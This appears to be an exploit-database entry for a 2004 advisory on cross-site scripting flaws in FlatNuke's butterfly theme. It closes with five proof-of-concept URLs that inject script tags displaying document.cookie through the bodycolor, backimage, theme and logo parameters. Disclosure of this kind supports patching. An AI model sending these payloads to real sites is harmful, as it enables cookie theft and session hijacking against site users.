FlatNuke Cross-Site Scripting Vulnerabilities

vendor:

FlatNuke

by:

SecurityFocus

3.3

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: FlatNuke

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2004

FlatNuke Cross-Site Scripting Vulnerabilities

FlatNuke is prone to multiple cross-site scripting vulnerabilities due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these vulnerabilities to inject HTML and script code into the Web browser of an unsuspecting victim, potentially stealing cookie-based authentication credentials.

Mitigation:

Input validation should be used to ensure that user-supplied data does not contain malicious code.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14483/info

FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>